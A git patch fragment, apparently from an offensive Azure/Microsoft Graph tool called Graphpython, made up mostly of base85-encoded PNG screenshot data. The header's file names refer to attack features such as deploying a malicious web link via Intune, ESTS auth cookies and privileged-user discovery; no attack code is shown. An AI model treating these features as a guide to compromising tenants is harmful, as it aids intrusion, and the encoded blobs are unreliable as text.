z)8C84j_^zE#RwJEJkDG;$bq~^?%$Cqp3(0IVc5U0Sd7``^MeOc9t)LLM{(^;WSB&# zW@CrPj{>w?ac}*~`A@Ixv^-h@q{dO1y6{qb5dg{n6YQROK$?h(4Q{&eyuKI3!xOnB7{V@`M7lDs+V;eEHNNq8-z1@^{lb)^fHRXp%r~FJ`*!6TS zJX3ps+qUcW`++Y>t8cs0kR&arIt)7lkvZm^;IGzRVu*25jWR7 zSN?6?m81m2(&}eClRTBXZ!9^&$6t8|c5Wo1H(mk4*}zI#VqiJQ#g^wM^ye_5^qqG<~5M&po>FZfne29L=@}j#X>J{Rsqc^Ou&C+@YI06w(3(~sh;;A zBaY06ec`rXUChJc;w(@&4JQs>!D7GiTH2b|86%t8%-;?!^O_IV={N)mj;U`$Xv){a0 zNh49B!hHsdLWFsi{k5baHIW+N%oTTfvPa|%#O>r$TiA3ZPb8 zlLK`6jSaNnfFnTuMvON4_SMj@WVU1qVrA~GCq=OZHG@*!s~!!_Hq|FXAqN6(!D4zd!pKG^kQCKDY&tIc{=s_vy}Y zSG@ewkl)Cts8JbzmXadaS;~pG;tSbup&A%3W84)!R*orP7xN#h#%mCVMlAU{Yhq_n zWXngH2~Y2r1Y6&V0Of7=s9CSmJ9Ee!2y z0JZl^z|>$hx{^aH2Te>;Zkk`7vrEkM=)3*H!m2RSfGvQ_50R0o<#k&s?s Date: Wed, 24 Jul 2024 13:07:34 +0100 Subject: [PATCH 20/37] Update v1.0 --- .github/deploymaliciousweblink-ime.png | Bin 0 -> 6551 bytes .github/estsauthcookie.png | Bin 52050 -> 108143 bytes .github/findprivilegedroleusers.png | Bin 38571 -> 75344 bytes .github/findupdatablegroups.png | Bin 18773 -> 54948 bytes .github/getcurrentuser.png | Bin 0 -> 36103 bytes .github/getdomains.png | Bin 0 -> 42823 bytes .github/getgroup.png | Bin 0 -> 27056 bytes .github/getgroupmember.png | Bin 25632 -> 37356 bytes .github/getmanageddevices.png | Bin 28007 -> 51036 bytes .github/getuser-all.png | Bin 0 -> 66488 bytes .github/getuser.png | Bin 14730 -> 40880 bytes .github/getuserdevices.png | Bin 26241 -> 52640 bytes .github/getuserproperties.png | Bin 0 -> 53587 bytes .github/inviteguestuser.png | Bin 26205 -> 95093 bytes .github/invokeuserenum.png | Bin 13167 -> 24242 bytes .github/listrecentonedrivefiles.png | Bin 39469 -> 92038 bytes .github/locateobjectid2.png | Bin 0 -> 46156 bytes .github/reconasoutsider.png | Bin 0 -> 44076 bytes .github/refreshtoazuremanagement.png | Bin 54411 -> 125931 bytes .github/updateuserproperties.png | Bin 0 -> 30483 bytes Graphpython/commands/exploit.py | 2 +- Graphpython/commands/intune_exploit.py | 2 +- 22 files changed, 2 insertions(+), 2 deletions(-) create mode 100644 .github/deploymaliciousweblink-ime.png create mode 100644 .github/getcurrentuser.png create mode 100644 .github/getdomains.png create mode 100644 .github/getgroup.png create mode 100644 .github/getuser-all.png create mode 100644 .github/getuserproperties.png create mode 100644 .github/locateobjectid2.png create mode 100644 .github/reconasoutsider.png create mode 100644 .github/updateuserproperties.png diff --git a/.github/deploymaliciousweblink-ime.png b/.github/deploymaliciousweblink-ime.png new file mode 100644 index 0000000000000000000000000000000000000000..eb904517ae6d8ee8e4cfd274b5a8c5b8fa4b7a1c GIT binary patch literal 6551 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 